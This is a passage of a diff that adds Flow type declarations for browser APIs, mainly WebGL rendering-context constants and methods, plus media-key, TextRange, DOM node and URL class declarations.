+  NEVER: 0x0200;
+  static LESS: 0x0201;
+  LESS: 0x0201;
+  static EQUAL: 0x0202;
+  EQUAL: 0x0202;
+  static LEQUAL: 0x0203;
+  LEQUAL: 0x0203;
+  static GREATER: 0x0204;
+  GREATER: 0x0204;
+  static NOTEQUAL: 0x0205;
+  NOTEQUAL: 0x0205;
+  static GEQUAL: 0x0206;
+  GEQUAL: 0x0206;
+  static ALWAYS: 0x0207;
+  ALWAYS: 0x0207;
+  static KEEP: 0x1e00;
+  KEEP: 0x1e00;
+  static REPLACE: 0x1e01;
+  REPLACE: 0x1e01;
+  static INCR: 0x1e02;
+  INCR: 0x1e02;
+  static DECR: 0x1e03;
+  DECR: 0x1e03;
+  static INVERT: 0x150a;
+  INVERT: 0x150a;
+  static INCR_WRAP: 0x8507;
+  INCR_WRAP: 0x8507;
+  static DECR_WRAP: 0x8508;
+  DECR_WRAP: 0x8508;
+  static VENDOR: 0x1f00;
+  VENDOR: 0x1f00;
+  static RENDERER: 0x1f01;
+  RENDERER: 0x1f01;
+  static VERSION: 0x1f02;
+  VERSION: 0x1f02;
+  static NEAREST: 0x2600;
+  NEAREST: 0x2600;
+  static LINEAR: 0x2601;
+  LINEAR: 0x2601;
+  static NEAREST_MIPMAP_NEAREST: 0x2700;
+  NEAREST_MIPMAP_NEAREST: 0x2700;
+  static LINEAR_MIPMAP_NEAREST: 0x2701;
+  LINEAR_MIPMAP_NEAREST: 0x2701;
+  static NEAREST_MIPMAP_LINEAR: 0x2702;
+  NEAREST_MIPMAP_LINEAR: 0x2702;
+  static LINEAR_MIPMAP_LINEAR: 0x2703;
+  LINEAR_MIPMAP_LINEAR: 0x2703;
+  static TEXTURE_MAG_FILTER: 0x2800;
+  TEXTURE_MAG_FILTER: 0x2800;
+  static TEXTURE_MIN_FILTER: 0x2801;
+  TEXTURE_MIN_FILTER: 0x2801;
+  static TEXTURE_WRAP_S: 0x2802;
+  TEXTURE_WRAP_S: 0x2802;
+  static TEXTURE_WRAP_T: 0x2803;
+  TEXTURE_WRAP_T: 0x2803;
+  static TEXTURE_2D: 0x0de1;
+  TEXTURE_2D: 0x0de1;
+  static TEXTURE: 0x1702;
+  TEXTURE: 0x1702;
+  static TEXTURE_CUBE_MAP: 0x8513;
+  TEXTURE_CUBE_MAP: 0x8513;
+  static TEXTURE_BINDING_CUBE_MAP: 0x8514;
+  TEXTURE_BINDING_CUBE_MAP: 0x8514;
+  static TEXTURE_CUBE_MAP_POSITIVE_X: 0x8515;
+  TEXTURE_CUBE_MAP_POSITIVE_X: 0x8515;
+  static TEXTURE_CUBE_MAP_NEGATIVE_X: 0x8516;
+  TEXTURE_CUBE_MAP_NEGATIVE_X: 0x8516;
+  static TEXTURE_CUBE_MAP_POSITIVE_Y: 0x8517;
+  TEXTURE_CUBE_MAP_POSITIVE_Y: 0x8517;
+  static TEXTURE_CUBE_MAP_NEGATIVE_Y: 0x8518;
+  TEXTURE_CUBE_MAP_NEGATIVE_Y: 0x8518;
+  static TEXTURE_CUBE_MAP_POSITIVE_Z: 0x8519;
+  TEXTURE_CUBE_MAP_POSITIVE_Z: 0x8519;
+  static TEXTURE_CUBE_MAP_NEGATIVE_Z: 0x851a;
+  TEXTURE_CUBE_MAP_NEGATIVE_Z: 0x851a;
+  static MAX_CUBE_MAP_TEXTURE_SIZE: 0x851c;
+  MAX_CUBE_MAP_TEXTURE_SIZE: 0x851c;
+  static TEXTURE0: 0x84c0;
+  TEXTURE0: 0x84c0;
+  static TEXTURE1: 0x84c1;
+  TEXTURE1: 0x84c1;
+  static TEXTURE2: 0x84c2;
+  TEXTURE2: 0x84c2;
+  static TEXTURE3: 0x84c3;
+  TEXTURE3: 0x84c3;
+  static TEXTURE4: 0x84c4;
+  TEXTURE4: 0x84c4;
+  static TEXTURE5: 0x84c5;
+  TEXTURE5: 0x84c5;
+  static TEXTURE6: 0x84c6;
+  TEXTURE6: 0x84c6;
+  static TEXTURE7: 0x84c7;
+  TEXTURE7: 0x84c7;
+  static TEXTURE8: 0x84c8;
+  TEXTURE8: 0x84c8;
+  static TEXTURE9: 0x84c9;
+  TEXTURE9: 0x84c9;
+  static TEXTURE10: 0x84ca;
+  TEXTURE10: 0x84ca;
+  static TEXTURE11: 0x84cb;
+  TEXTURE11: 0x84cb;
+  static TEXTURE12: 0x84cc;
+  TEXTURE12: 0x84cc;
+  static TEXTURE13: 0x84cd;
+  TEXTURE13: 0x84cd;
+  static TEXTURE14: 0x84ce;
+  TEXTURE14: 0x84ce;
+  static TEXTURE15: 0x84cf;
+  TEXTURE15: 0x84cf;
+  static TEXTURE16: 0x84d0;
+  TEXTURE16: 0x84d0;
+  static TEXTURE17: 0x84d1;
+  TEXTURE17: 0x84d1;
+  static TEXTURE18: 0x84d2;
+  TEXTURE18: 0x84d2;
+  static TEXTURE19: 0x84d3;
+  TEXTURE19: 0x84d3;
+  static TEXTURE20: 0x84d4;
+  TEXTURE20: 0x84d4;
+  static TEXTURE21: 0x84d5;
+  TEXTURE21: 0x84d5;
+  static TEXTURE22: 0x84d6;
+  TEXTURE22: 0x84d6;
+  static TEXTURE23: 0x84d7;
+  TEXTURE23: 0x84d7;
+  static TEXTURE24: 0x84d8;
+  TEXTURE24: 0x84d8;
+  static TEXTURE25: 0x84d9;
+  TEXTURE25: 0x84d9;
+  static TEXTURE26: 0x84da;
+  TEXTURE26: 0x84da;
+  static TEXTURE27: 0x84db;
+  TEXTURE27: 0x84db;
+  static TEXTURE28: 0x84dc;
+  TEXTURE28: 0x84dc;
+  static TEXTURE29: 0x84dd;
+  TEXTURE29: 0x84dd;
+  static TEXTURE30: 0x84de;
+  TEXTURE30: 0x84de;
+  static TEXTURE31: 0x84df;
+  TEXTURE31: 0x84df;
+  static ACTIVE_TEXTURE: 0x84e0;
+  ACTIVE_TEXTURE: 0x84e0;
+  static REPEAT: 0x2901;
+  REPEAT: 0x2901;
+  static CLAMP_TO_EDGE: 0x812f;
+  CLAMP_TO_EDGE: 0x812f;
+  static MIRRORED_REPEAT: 0x8370;
+  MIRRORED_REPEAT: 0x8370;
+  static FLOAT_VEC2: 0x8b50;
+  FLOAT_VEC2: 0x8b50;
+  static FLOAT_VEC3: 0x8b51;
+  FLOAT_VEC3: 0x8b51;
+  static FLOAT_VEC4: 0x8b52;
+  FLOAT_VEC4: 0x8b52;
+  static INT_VEC2: 0x8b53;
+  INT_VEC2: 0x8b53;
+  static INT_VEC3: 0x8b54;
+  INT_VEC3: 0x8b54;
+  static INT_VEC4: 0x8b55;
+  INT_VEC4: 0x8b55;
+  static BOOL: 0x8b56;
+  BOOL: 0x8b56;
+  static BOOL_VEC2: 0x8b57;
+  BOOL_VEC2: 0x8b57;
+  static BOOL_VEC3: 0x8b58;
+  BOOL_VEC3: 0x8b58;
+  static BOOL_VEC4: 0x8b59;
+  BOOL_VEC4: 0x8b59;
+  static FLOAT_MAT2: 0x8b5a;
+  FLOAT_MAT2: 0x8b5a;
+  static FLOAT_MAT3: 0x8b5b;
+  FLOAT_MAT3: 0x8b5b;
+  static FLOAT_MAT4: 0x8b5c;
+  FLOAT_MAT4: 0x8b5c;
+  static SAMPLER_2D: 0x8b5e;
+  SAMPLER_2D: 0x8b5e;
+  static SAMPLER_CUBE: 0x8b60;
+  SAMPLER_CUBE: 0x8b60;
+  static VERTEX_ATTRIB_ARRAY_ENABLED: 0x8622;
+  VERTEX_ATTRIB_ARRAY_ENABLED: 0x8622;
+  static VERTEX_ATTRIB_ARRAY_SIZE: 0x8623;
+  VERTEX_ATTRIB_ARRAY_SIZE: 0x8623;
+  static VERTEX_ATTRIB_ARRAY_STRIDE: 0x8624;
+  VERTEX_ATTRIB_ARRAY_STRIDE: 0x8624;
+  static VERTEX_ATTRIB_ARRAY_TYPE: 0x8625;
+  VERTEX_ATTRIB_ARRAY_TYPE: 0x8625;
+  static VERTEX_ATTRIB_ARRAY_NORMALIZED: 0x886a;
+  VERTEX_ATTRIB_ARRAY_NORMALIZED: 0x886a;
+  static VERTEX_ATTRIB_ARRAY_POINTER: 0x8645;
+  VERTEX_ATTRIB_ARRAY_POINTER: 0x8645;
+  static VERTEX_ATTRIB_ARRAY_BUFFER_BINDING: 0x889f;
+  VERTEX_ATTRIB_ARRAY_BUFFER_BINDING: 0x889f;
+  static IMPLEMENTATION_COLOR_READ_TYPE: 0x8b9a;
+  IMPLEMENTATION_COLOR_READ_TYPE: 0x8b9a;
+  static IMPLEMENTATION_COLOR_READ_FORMAT: 0x8b9b;
+  IMPLEMENTATION_COLOR_READ_FORMAT: 0x8b9b;
+  static COMPILE_STATUS: 0x8b81;
+  COMPILE_STATUS: 0x8b81;
+  static LOW_FLOAT: 0x8df0;
+  LOW_FLOAT: 0x8df0;
+  static MEDIUM_FLOAT: 0x8df1;
+  MEDIUM_FLOAT: 0x8df1;
+  static HIGH_FLOAT: 0x8df2;
+  HIGH_FLOAT: 0x8df2;
+  static LOW_INT: 0x8df3;
+  LOW_INT: 0x8df3;
+  static MEDIUM_INT: 0x8df4;
+  MEDIUM_INT: 0x8df4;
+  static HIGH_INT: 0x8df5;
+  HIGH_INT: 0x8df5;
+  static FRAMEBUFFER: 0x8d40;
+  FRAMEBUFFER: 0x8d40;
+  static RENDERBUFFER: 0x8d41;
+  RENDERBUFFER: 0x8d41;
+  static RGBA4: 0x8056;
+  RGBA4: 0x8056;
+  static RGB5_A1: 0x8057;
+  RGB5_A1: 0x8057;
+  static RGB565: 0x8d62;
+  RGB565: 0x8d62;
+  static DEPTH_COMPONENT16: 0x81a5;
+  DEPTH_COMPONENT16: 0x81a5;
+  static STENCIL_INDEX: 0x1901;
+  STENCIL_INDEX: 0x1901;
+  static STENCIL_INDEX8: 0x8d48;
+  STENCIL_INDEX8: 0x8d48;
+  static DEPTH_STENCIL: 0x84f9;
+  DEPTH_STENCIL: 0x84f9;
+  static RENDERBUFFER_WIDTH: 0x8d42;
+  RENDERBUFFER_WIDTH: 0x8d42;
+  static RENDERBUFFER_HEIGHT: 0x8d43;
+  RENDERBUFFER_HEIGHT: 0x8d43;
+  static RENDERBUFFER_INTERNAL_FORMAT: 0x8d44;
+  RENDERBUFFER_INTERNAL_FORMAT: 0x8d44;
+  static RENDERBUFFER_RED_SIZE: 0x8d50;
+  RENDERBUFFER_RED_SIZE: 0x8d50;
+  static RENDERBUFFER_GREEN_SIZE: 0x8d51;
+  RENDERBUFFER_GREEN_SIZE: 0x8d51;
+  static RENDERBUFFER_BLUE_SIZE: 0x8d52;
+  RENDERBUFFER_BLUE_SIZE: 0x8d52;
+  static RENDERBUFFER_ALPHA_SIZE: 0x8d53;
+  RENDERBUFFER_ALPHA_SIZE: 0x8d53;
+  static RENDERBUFFER_DEPTH_SIZE: 0x8d54;
+  RENDERBUFFER_DEPTH_SIZE: 0x8d54;
+  static RENDERBUFFER_STENCIL_SIZE: 0x8d55;
+  RENDERBUFFER_STENCIL_SIZE: 0x8d55;
+  static FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE: 0x8cd0;
+  FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE: 0x8cd0;
+  static FRAMEBUFFER_ATTACHMENT_OBJECT_NAME: 0x8cd1;
+  FRAMEBUFFER_ATTACHMENT_OBJECT_NAME: 0x8cd1;
+  static FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL: 0x8cd2;
+  FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL: 0x8cd2;
+  static FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE: 0x8cd3;
+  FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE: 0x8cd3;
+  static COLOR_ATTACHMENT0: 0x8ce0;
+  COLOR_ATTACHMENT0: 0x8ce0;
+  static DEPTH_ATTACHMENT: 0x8d00;
+  DEPTH_ATTACHMENT: 0x8d00;
+  static STENCIL_ATTACHMENT: 0x8d20;
+  STENCIL_ATTACHMENT: 0x8d20;
+  static DEPTH_STENCIL_ATTACHMENT: 0x821a;
+  DEPTH_STENCIL_ATTACHMENT: 0x821a;
+  static NONE: 0;
+  NONE: 0;
+  static FRAMEBUFFER_COMPLETE: 0x8cd5;
+  FRAMEBUFFER_COMPLETE: 0x8cd5;
+  static FRAMEBUFFER_INCOMPLETE_ATTACHMENT: 0x8cd6;
+  FRAMEBUFFER_INCOMPLETE_ATTACHMENT: 0x8cd6;
+  static FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT: 0x8cd7;
+  FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT: 0x8cd7;
+  static FRAMEBUFFER_INCOMPLETE_DIMENSIONS: 0x8cd9;
+  FRAMEBUFFER_INCOMPLETE_DIMENSIONS: 0x8cd9;
+  static FRAMEBUFFER_UNSUPPORTED: 0x8cdd;
+  FRAMEBUFFER_UNSUPPORTED: 0x8cdd;
+  static FRAMEBUFFER_BINDING: 0x8ca6;
+  FRAMEBUFFER_BINDING: 0x8ca6;
+  static RENDERBUFFER_BINDING: 0x8ca7;
+  RENDERBUFFER_BINDING: 0x8ca7;
+  static MAX_RENDERBUFFER_SIZE: 0x84e8;
+  MAX_RENDERBUFFER_SIZE: 0x84e8;
+  static INVALID_FRAMEBUFFER_OPERATION: 0x0506;
+  INVALID_FRAMEBUFFER_OPERATION: 0x0506;
+  static UNPACK_FLIP_Y_WEBGL: 0x9240;
+  UNPACK_FLIP_Y_WEBGL: 0x9240;
+  static UNPACK_PREMULTIPLY_ALPHA_WEBGL: 0x9241;
+  UNPACK_PREMULTIPLY_ALPHA_WEBGL: 0x9241;
+  static CONTEXT_LOST_WEBGL: 0x9242;
+  CONTEXT_LOST_WEBGL: 0x9242;
+  static UNPACK_COLORSPACE_CONVERSION_WEBGL: 0x9243;
+  UNPACK_COLORSPACE_CONVERSION_WEBGL: 0x9243;
+  static BROWSER_DEFAULT_WEBGL: 0x9244;
+  BROWSER_DEFAULT_WEBGL: 0x9244;
+
+  canvas: HTMLCanvasElement;
+  drawingBufferWidth: number;
+  drawingBufferHeight: number;
+
+  getContextAttributes(): ?WebGLContextAttributes;
+  isContextLost(): boolean;
+
+  getSupportedExtensions(): ?Array<string>;
+  getExtension(name: string): any;
+
+  activeTexture(texture: number): void;
+  attachShader(program: WebGLProgram, shader: WebGLShader): void;
+  bindAttribLocation(program: WebGLProgram, index: number, name: string): void;
+  bindBuffer(target: number, buffer: ?WebGLBuffer): void;
+  bindFramebuffer(target: number, framebuffer: ?WebGLFramebuffer): void;
+  bindRenderbuffer(target: number, renderbuffer: ?WebGLRenderbuffer): void;
+  bindTexture(target: number, texture: ?WebGLTexture): void;
+  blendColor(red: number, green: number, blue: number, alpha: number): void;
+  blendEquation(mode: number): void;
+  blendEquationSeparate(modeRGB: number, modeAlpha: number): void;
+  blendFunc(sfactor: number, dfactor: number): void;
+  blendFuncSeparate(
+    srcRGB: number,
+    dstRGB: number,
+    srcAlpha: number,
+    dstAlpha: number
+  ): void;
+
+  bufferData(target: number, size: number, usage: number): void;
+  bufferData(target: number, data: ?ArrayBuffer, usage: number): void;
+  bufferData(target: number, data: $ArrayBufferView, usage: number): void;
+  bufferSubData(target: number, offset: number, data: BufferDataSource): void;
+
+  checkFramebufferStatus(target: number): number;
+  clear(mask: number): void;
+  clearColor(red: number, green: number, blue: number, alpha: number): void;
+  clearDepth(depth: number): void;
+  clearStencil(s: number): void;
+  colorMask(red: boolean, green: boolean, blue: boolean, alpha: boolean): void;
+  compileShader(shader: WebGLShader): void;
+
+  compressedTexImage2D(
+    target: number,
+    level: number,
+    internalformat: number,
+    width: number,
+    height: number,
+    border: number,
+    data: $ArrayBufferView
+  ): void;
+
+  compressedTexSubImage2D(
+    target: number,
+    level: number,
+    xoffset: number,
+    yoffset: number,
+    width: number,
+    height: number,
+    format: number,
+    data: $ArrayBufferView
+  ): void;
+
+  copyTexImage2D(
+    target: number,
+    level: number,
+    internalformat: number,
+    x: number,
+    y: number,
+    width: number,
+    height: number,
+    border: number
+  ): void;
+  copyTexSubImage2D(
+    target: number,
+    level: number,
+    xoffset: number,
+    yoffset: number,
+    x: number,
+    y: number,
+    width: number,
+    height: number
+  ): void;
+
+  createBuffer(): ?WebGLBuffer;
+  createFramebuffer(): ?WebGLFramebuffer;
+  createProgram(): ?WebGLProgram;
+  createRenderbuffer(): ?WebGLRenderbuffer;
+  createShader(type: number): ?WebGLShader;
+  createTexture(): ?WebGLTexture;
+
+  cullFace(mode: number): void;
+
+  deleteBuffer(buffer: ?WebGLBuffer): void;
+  deleteFramebuffer(framebuffer: ?WebGLFramebuffer): void;
+  deleteProgram(program: ?WebGLProgram): void;
+  deleteRenderbuffer(renderbuffer: ?WebGLRenderbuffer): void;
+  deleteShader(shader: ?WebGLShader): void;
+  deleteTexture(texture: ?WebGLTexture): void;
+
+  depthFunc(func: number): void;
+  depthMask(flag: boolean): void;
+  depthRange(zNear: number, zFar: number): void;
+  detachShader(program: WebGLProgram, shader: WebGLShader): void;
+  disable(cap: number): void;
+  disableVertexAttribArray(index: number): void;
+  drawArrays(mode: number, first: number, count: number): void;
+  drawElements(mode: number, count: number, type: number, offset: number): void;
+
+  enable(cap: number): void;
+  enableVertexAttribArray(index: number): void;
+  finish(): void;
+  flush(): void;
+  framebufferRenderbuffer(
+    target: number,
+    attachment: number,
+    renderbuffertarget: number,
+    renderbuffer: ?WebGLRenderbuffer
+  ): void;
+  framebufferTexture2D(
+    target: number,
+    attachment: number,
+    textarget: number,
+    texture: ?WebGLTexture,
+    level: number
+  ): void;
+  frontFace(mode: number): void;
+
+  generateMipmap(target: number): void;
+
+  getActiveAttrib(program: WebGLProgram, index: number): ?WebGLActiveInfo;
+  getActiveUniform(program: WebGLProgram, index: number): ?WebGLActiveInfo;
+  getAttachedShaders(program: WebGLProgram): ?Array<WebGLShader>;
+
+  getAttribLocation(program: WebGLProgram, name: string): number;
+
+  getBufferParameter(target: number, pname: number): any;
+  getParameter(pname: number): any;
+
+  getError(): number;
+
+  getFramebufferAttachmentParameter(
+    target: number,
+    attachment: number,
+    pname: number
+  ): any;
+  getProgramParameter(program: WebGLProgram, pname: number): any;
+  getProgramInfoLog(program: WebGLProgram): ?string;
+  getRenderbufferParameter(target: number, pname: number): any;
+  getShaderParameter(shader: WebGLShader, pname: number): any;
+  getShaderPrecisionFormat(
+    shadertype: number,
+    precisiontype: number
+  ): ?WebGLShaderPrecisionFormat;
+  getShaderInfoLog(shader: WebGLShader): ?string;
+
+  getShaderSource(shader: WebGLShader): ?string;
+
+  getTexParameter(target: number, pname: number): any;
+
+  getUniform(program: WebGLProgram, location: WebGLUniformLocation): any;
+
+  getUniformLocation(
+    program: WebGLProgram,
+    name: string
+  ): ?WebGLUniformLocation;
+
+  getVertexAttrib(index: number, pname: number): any;
+
+  getVertexAttribOffset(index: number, pname: number): number;
+
+  hint(target: number, mode: number): void;
+  isBuffer(buffer: ?WebGLBuffer): boolean;
+  isEnabled(cap: number): boolean;
+  isFramebuffer(framebuffer: ?WebGLFramebuffer): boolean;
+  isProgram(program: ?WebGLProgram): boolean;
+  isRenderbuffer(renderbuffer: ?WebGLRenderbuffer): boolean;
+  isShader(shader: ?WebGLShader): boolean;
+  isTexture(texture: ?WebGLTexture): boolean;
+  lineWidth(width: number): void;
+  linkProgram(program: WebGLProgram): void;
+  pixelStorei(pname: number, param: number): void;
+  polygonOffset(factor: number, units: number): void;
+
+  readPixels(
+    x: number,
+    y: number,
+    width: number,
+    height: number,
+    format: number,
+    type: number,
+    pixels: ?$ArrayBufferView
+  ): void;
+
+  renderbufferStorage(
+    target: number,
+    internalformat: number,
+    width: number,
+    height: number
+  ): void;
+  sampleCoverage(value: number, invert: boolean): void;
+  scissor(x: number, y: number, width: number, height: number): void;
+
+  shaderSource(shader: WebGLShader, source: string): void;
+
+  stencilFunc(func: number, ref: number, mask: number): void;
+  stencilFuncSeparate(
+    face: number,
+    func: number,
+    ref: number,
+    mask: number
+  ): void;
+  stencilMask(mask: number): void;
+  stencilMaskSeparate(face: number, mask: number): void;
+  stencilOp(fail: number, zfail: number, zpass: number): void;
+  stencilOpSeparate(
+    face: number,
+    fail: number,
+    zfail: number,
+    zpass: number
+  ): void;
+
+  texImage2D(
+    target: number,
+    level: number,
+    internalformat: number,
+    width: number,
+    height: number,
+    border: number,
+    format: number,
+    type: number,
+    pixels: ?$ArrayBufferView
+  ): void;
+  texImage2D(
+    target: number,
+    level: number,
+    internalformat: number,
+    format: number,
+    type: number,
+    source: TexImageSource
+  ): void;
+
+  texParameterf(target: number, pname: number, param: number): void;
+  texParameteri(target: number, pname: number, param: number): void;
+
+  texSubImage2D(
+    target: number,
+    level: number,
+    xoffset: number,
+    yoffset: number,
+    width: number,
+    height: number,
+    format: number,
+    type: number,
+    pixels: ?$ArrayBufferView
+  ): void;
+  texSubImage2D(
+    target: number,
+    level: number,
+    xoffset: number,
+    yoffset: number,
+    format: number,
+    type: number,
+    source: TexImageSource
+  ): void;
+
+  uniform1f(location: ?WebGLUniformLocation, x: number): void;
+  uniform1fv(location: ?WebGLUniformLocation, v: Float32Array): void;
+  uniform1fv(location: ?WebGLUniformLocation, v: Array<number>): void;
+  uniform1fv(location: ?WebGLUniformLocation, v: [number]): void;
+  uniform1i(location: ?WebGLUniformLocation, x: number): void;
+  uniform1iv(location: ?WebGLUniformLocation, v: Int32Array): void;
+  uniform1iv(location: ?WebGLUniformLocation, v: Array<number>): void;
+  uniform1iv(location: ?WebGLUniformLocation, v: [number]): void;
+  uniform2f(location: ?WebGLUniformLocation, x: number, y: number): void;
+  uniform2fv(location: ?WebGLUniformLocation, v: Float32Array): void;
+  uniform2fv(location: ?WebGLUniformLocation, v: Array<number>): void;
+  uniform2fv(location: ?WebGLUniformLocation, v: [number, number]): void;
+  uniform2i(location: ?WebGLUniformLocation, x: number, y: number): void;
+  uniform2iv(location: ?WebGLUniformLocation, v: Int32Array): void;
+  uniform2iv(location: ?WebGLUniformLocation, v: Array<number>): void;
+  uniform2iv(location: ?WebGLUniformLocation, v: [number, number]): void;
+  uniform3f(
+    location: ?WebGLUniformLocation,
+    x: number,
+    y: number,
+    z: number
+  ): void;
+  uniform3fv(location: ?WebGLUniformLocation, v: Float32Array): void;
+  uniform3fv(location: ?WebGLUniformLocation, v: Array<number>): void;
+  uniform3fv(
+    location: ?WebGLUniformLocation,
+    v: [number, number, number]
+  ): void;
+  uniform3i(
+    location: ?WebGLUniformLocation,
+    x: number,
+    y: number,
+    z: number
+  ): void;
+  uniform3iv(location: ?WebGLUniformLocation, v: Int32Array): void;
+  uniform3iv(location: ?WebGLUniformLocation, v: Array<number>): void;
+  uniform3iv(
+    location: ?WebGLUniformLocation,
+    v: [number, number, number]
+  ): void;
+  uniform4f(
+    location: ?WebGLUniformLocation,
+    x: number,
+    y: number,
+    z: number,
+    w: number
+  ): void;
+  uniform4fv(location: ?WebGLUniformLocation, v: Float32Array): void;
+  uniform4fv(location: ?WebGLUniformLocation, v: Array<number>): void;
+  uniform4fv(
+    location: ?WebGLUniformLocation,
+    v: [number, number, number, number]
+  ): void;
+  uniform4i(
+    location: ?WebGLUniformLocation,
+    x: number,
+    y: number,
+    z: number,
+    w: number
+  ): void;
+  uniform4iv(location: ?WebGLUniformLocation, v: Int32Array): void;
+  uniform4iv(location: ?WebGLUniformLocation, v: Array<number>): void;
+  uniform4iv(
+    location: ?WebGLUniformLocation,
+    v: [number, number, number, number]
+  ): void;
+
+  uniformMatrix2fv(
+    location: ?WebGLUniformLocation,
+    transpose: boolean,
+    value: Float32Array
+  ): void;
+  uniformMatrix2fv(
+    location: ?WebGLUniformLocation,
+    transpose: boolean,
+    value: Array<number>
+  ): void;
+  uniformMatrix3fv(
+    location: ?WebGLUniformLocation,
+    transpose: boolean,
+    value: Float32Array
+  ): void;
+  uniformMatrix3fv(
+    location: ?WebGLUniformLocation,
+    transpose: boolean,
+    value: Array<number>
+  ): void;
+  uniformMatrix4fv(
+    location: ?WebGLUniformLocation,
+    transpose: boolean,
+    value: Float32Array
+  ): void;
+  uniformMatrix4fv(
+    location: ?WebGLUniformLocation,
+    transpose: boolean,
+    value: Array<number>
+  ): void;
+
+  useProgram(program: ?WebGLProgram): void;
+  validateProgram(program: WebGLProgram): void;
+
+  vertexAttrib1f(index: number, x: number): void;
+  vertexAttrib1fv(index: number, values: VertexAttribFVSource): void;
+  vertexAttrib2f(index: number, x: number, y: number): void;
+  vertexAttrib2fv(index: number, values: VertexAttribFVSource): void;
+  vertexAttrib3f(index: number, x: number, y: number, z: number): void;
+  vertexAttrib3fv(index: number, values: VertexAttribFVSource): void;
+  vertexAttrib4f(
+    index: number,
+    x: number,
+    y: number,
+    z: number,
+    w: number
+  ): void;
+  vertexAttrib4fv(index: number, values: VertexAttribFVSource): void;
+  vertexAttribPointer(
+    index: number,
+    size: number,
+    type: number,
+    normalized: boolean,
+    stride: number,
+    offset: number
+  ): void;
+
+  viewport(x: number, y: number, width: number, height: number): void;
+}
+
+declare class WebGLContextEvent extends Event {
+  statusMessage: string;
+}
+
+declare class MediaKeyStatusMap<BufferDataSource, MediaKeyStatus> {
+  @@iterator(): Iterator<[BufferDataSource, MediaKeyStatus]>;
+  size: number;
+  entries(): Iterator<[BufferDataSource, MediaKeyStatus]>;
+  forEach(
+    callbackfn: (
+      value: MediaKeyStatus,
+      key: BufferDataSource,
+      map: MediaKeyStatusMap<BufferDataSource, MediaKeyStatus>
+    ) => any,
+    thisArg?: any
+  ): void;
+  get(key: BufferDataSource): MediaKeyStatus;
+  has(key: BufferDataSource): boolean;
+  keys(): Iterator<BufferDataSource>;
+  values(): Iterator<MediaKeyStatus>;
+}
+
+declare class MediaKeySession extends EventTarget {
+  sessionId: string;
+  expiration: number;
+  closed: Promise<void>;
+  keyStatuses: MediaKeyStatusMap<BufferDataSource, MediaKeyStatus>;
+
+  generateRequest(
+    initDataType: string,
+    initData: BufferDataSource
+  ): Promise<void>;
+  load(sessionId: string): Promise<boolean>;
+  update(response: BufferDataSource): Promise<void>;
+  close(): Promise<void>;
+  remove(): Promise<void>;
+
+  onkeystatuschange: (ev: any) => any;
+  onmessage: (ev: any) => any;
+}
+
+declare class MediaKeys {
+  createSession(mediaKeySessionType: MediaKeySessionType): MediaKeySession;
+  setServerCertificate(serverCertificate: BufferDataSource): Promise<boolean>;
+}
+
+declare class TextRange {
+  boundingLeft: number;
+  htmlText: string;
+  offsetLeft: number;
+  boundingWidth: number;
+  boundingHeight: number;
+  boundingTop: number;
+  text: string;
+  offsetTop: number;
+  moveToPoint(x: number, y: number): void;
+  queryCommandValue(cmdID: string): any;
+  getBookmark(): string;
+  move(unit: string, count?: number): number;
+  queryCommandIndeterm(cmdID: string): boolean;
+  scrollIntoView(fStart?: boolean): void;
+  findText(string: string, count?: number, flags?: number): boolean;
+  execCommand(cmdID: string, showUI?: boolean, value?: any): boolean;
+  getBoundingClientRect(): DOMRect;
+  moveToBookmark(bookmark: string): boolean;
+  isEqual(range: TextRange): boolean;
+  duplicate(): TextRange;
+  collapse(start?: boolean): void;
+  queryCommandText(cmdID: string): string;
+  select(): void;
+  pasteHTML(html: string): void;
+  inRange(range: TextRange): boolean;
+  moveEnd(unit: string, count?: number): number;
+  getClientRects(): DOMRectList;
+  moveStart(unit: string, count?: number): number;
+  parentElement(): Element;
+  queryCommandState(cmdID: string): boolean;
+  compareEndPoints(how: string, sourceRange: TextRange): number;
+  execCommandShowHelp(cmdID: string): boolean;
+  moveToElementText(element: Element): void;
+  expand(Unit: string): boolean;
+  queryCommandSupported(cmdID: string): boolean;
+  setEndPoint(how: string, SourceRange: TextRange): void;
+  queryCommandEnabled(cmdID: string): boolean;
+}
+
+// These types used to exist as a copy of DOMRect/DOMRectList, which is
+// incorrect because there are no ClientRect/ClientRectList globals on the DOM.
+// Keep these as type aliases for backwards compatibility.
+declare type ClientRect = DOMRect;
+declare type ClientRectList = DOMRectList;
+
+// TODO: HTML*Element
+
+declare class DOMImplementation {
+  createDocumentType(
+    qualifiedName: string,
+    publicId: string,
+    systemId: string
+  ): DocumentType;
+  createDocument(
+    namespaceURI: string | null,
+    qualifiedName: string,
+    doctype?: DocumentType | null
+  ): Document;
+  hasFeature(feature: string, version?: string): boolean;
+
+  // non-standard
+  createHTMLDocument(title?: string): Document;
+}
+
+declare class DocumentType extends Node {
+  name: string;
+  notations: NamedNodeMap;
+  systemId: string;
+  internalSubset: string;
+  entities: NamedNodeMap;
+  publicId: string;
+
+  // from ChildNode interface
+  after(...nodes: Array<string | Node>): void;
+  before(...nodes: Array<string | Node>): void;
+  replaceWith(...nodes: Array<string | Node>): void;
+  remove(): void;
+}
+
+declare class CharacterData extends Node {
+  length: number;
+  data: string;
+  deleteData(offset: number, count: number): void;
+  replaceData(offset: number, count: number, arg: string): void;
+  appendData(arg: string): void;
+  insertData(offset: number, arg: string): void;
+  substringData(offset: number, count: number): string;
+
+  // from ChildNode interface
+  after(...nodes: Array<string | Node>): void;
+  before(...nodes: Array<string | Node>): void;
+  replaceWith(...nodes: Array<string | Node>): void;
+  remove(): void;
+}
+
+declare class Text extends CharacterData {
+  assignedSlot?: HTMLSlotElement;
+  wholeText: string;
+  splitText(offset: number): Text;
+  replaceWholeText(content: string): Text;
+}
+
+declare class Comment extends CharacterData {
+  text: string;
+}
+
+declare class URL {
+  static canParse(url: string, base?: string): boolean;
+  static createObjectURL(blob: Blob): string;
+  static createObjectURL(mediaSource: MediaSource): string;
+  static revokeObjectURL(url: string): void;
+  static parse(url: string, base?: string): URL | null;
+  constructor(url: string, base?: string | URL): void;
+  hash: string;
+  host: string;
+  hostname: string;
+  href: string;
+  +origin: string;
+  password: string;
+  pathname: string;
+  port: string;
+  protocol: string;
+  search: string;
